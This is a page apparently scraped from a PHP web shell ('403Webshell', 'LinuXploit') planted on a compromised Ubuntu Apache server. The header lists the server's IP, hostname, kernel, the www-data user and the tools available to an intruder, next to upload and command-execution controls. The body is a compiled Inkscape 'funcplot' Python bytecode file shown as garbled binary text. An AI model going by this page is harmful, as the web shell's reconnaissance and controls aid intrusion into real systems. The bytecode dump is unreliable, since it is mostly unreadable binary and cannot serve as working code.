403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/funcplot.cpython-310.pyc
o

0�as&�@spddlmZmZmZddlZddlmZmZddlmZ	dd	d
�Z	Gdd�dej
�Zed
kr6e��
�dSdS)�)�cos�pi�sinN)�ClipPath�	Rectangle)�	math_eval�sin(x)�cos(x)TFc,s|rdt��dt|}�|krt�d�gS||��|����fdd�}|
r<||d�|d���fdd�}|�krGt�d�gS||��|����fdd�}|r�|
s���krt|d	�}��||��|||�}n|d	�}��||��|||�}t|	�}t|
�}|dus�|dur�|s�t�td
���|�|d}|d}|d
}g}|r��d	kr�|kr�nn|�d||d	�gg�|�d|d	gg��d	kr�|kr�nn|�d|d	�|gg�|�dd	|gg��}|��}|
�r|t|�}|t|�}|}|}|�s|
�r=�|}||�} |
�r0| t|�}!| t|�}"|!}|"} |||}#| ||}$nd}#|��}$|�r_|�d||d	�gg�|�d||�||�gg�n
|�d||�||�gg�t	t
|d��D]�}%|%d|�}||}&||�} ||&�}'|
�r�| t|�}!| t|�}"|'t|&�}(|'t|&�})|!}|"} |(}&|)}'|�s�|
�r�||&|}*| |'|}+nd}*||�}+|�d|||#|�|||$|�|||*|�|| |+|�||�|| �gg�|}| }|*}#|+}$�qt|�r	|�d|||d	�gg�|S)N�zIx-interval cannot be zero. Please modify 'Start X value' or 'End X value'cs|���S�N���x)�scalex�xoff�xstartr�*/usr/share/inkscape/extensions/funcplot.py�<lambda>.�zdrawfunction.<locals>.<lambda>g@cs|��Srrr
)�centerx�polar_scalexrrr3szhy-interval cannot be zero. Please modify 'Y value of rectangle's top' or 'Y value of rectangle's bottom'cs�|��Srr)�y)�scaley�ybottom�yoffrrr:rrzInvalid function specification�g@g����MbP?�M�l�L�C)r�inkex�errormsgr�AbortExtension�_�appendrr�range�int),r�xendr�ytop�samples�width�height�left�bottom�fx�fpx�fponum�times2pi�polar�isoscale�drawaxis�endpts�coordx�coordy�xzero�yzero�f�fp�step�third�ds�a�x0�y0�xp0�yp0�x1�y1�xp1�yp1�dx0�dy0�i�x2�y2�xp2�yp2�dx1�dy1r)rrrrrrrrr�drawfunction"s�

��rQc@seZdZdd�Zdd�ZdS)�FuncPlotcCs(|�d�|jdtddd�|jdtddd�|jd	tjd
dd�|jdtjd
dd�|jdtddd�|jdtddd�|jdtddd�|jdddd�|jdtjd
dd�|jdddd�|jd tjd
d!d�|jd"tjd
d#d�|jd$tjd
d%d�|jd&tjd
d'd�|jd(tjd
d)d�dS)*Nz--tabz--xstartgz
Start x-value)�type�default�helpz--xendg�?zEnd x-valuez
--times2piTz* x-range by 2*piz--polarFzUse polar coordsz	--ybottomg�zy-value of rect's bottomz--ytopzy-value of rectangle's topz	--samples��Samplesz--fofxrzf(x) for plotting)rTrUz--fponumzNumerical 1st derivz--fpofxr	zf'(x) for plottingz--clipzClip with source rectz--removezRemove source rectz
--isoscalezIsotropic scalingz
--drawaxisz	Draw axisz--endptszAdd end points)�add_argument�floatr �Booleanr&)�self�parsrrr�
add_arguments�s 
zFuncPlot.add_argumentscCsbd}|jj��D]�}t|t�r�t��}t|�d��}t|�d��}t|�d��}t|�d��}|j	|_	|j
|_
t|jj
|jj|jj|jj|jj||||||jj|jj|jj|jj|jj|jj|jj|jj�|_|�d|jj�|���|�|jjr�|jj� t!��}|�"�|�|�#��|�d|j$dd��|jj%r�|���%|�q|dur�t�&t'd	���dS)
Nrrr*r+�titlez	clip-pathr
)�as_urlzPlease select a rectangle)(�svg�selected�values�
isinstancerr �PathElementrY�get�style�	transformrQ�optionsrr'rr(r)�fofx�fpofxr0r1r2r3r4r5�path�set�	getparentr$�clip�defs�addr�
set_random_id�copy�get_id�remover"r#)r[�newpath�noderr�w�hrnrrr�effect�sN
����zFuncPlot.effectN)�__name__�
__module__�__qualname__r]ryrrrrrR�srR�__main__)rr	TFFTTF)�mathrrrr rr�inkex.utilsrrQ�EffectExtensionrRrz�runrrrr�<module>s
�C�

Youez - 2016 - github.com/yon3zu
LinuXploit